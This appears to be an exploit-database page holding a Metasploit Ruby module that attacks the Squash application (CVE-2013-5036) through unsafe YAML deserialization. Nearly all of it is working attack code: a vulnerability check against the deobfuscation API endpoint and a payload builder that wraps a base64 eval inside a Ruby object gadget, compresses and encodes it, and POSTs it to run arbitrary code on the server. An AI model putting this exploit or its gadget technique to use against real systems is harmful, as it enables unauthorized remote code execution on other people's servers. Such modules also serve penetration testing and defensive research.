Squash YAML Code Execution

2013.08.09
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Squash YAML Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the YAML request processor of the Squash application. }, 'Author' => [ 'Charlie Eriksen' # Discovery, initial exploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'], [ 'OSVDB', '95992'], [ 'CVE', '2013-5036'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Aug 06 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]) ], self.class) end def check response = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"), 'method' => 'POST', 'ctype' => 'application/json', }) if response.code == 422 print_status("Got HTTP 422 result, target may be vulnerable") return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"), 'method' => 'POST', 'ctype' => 'application/json', 'data' => data }) end end

References:

http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/


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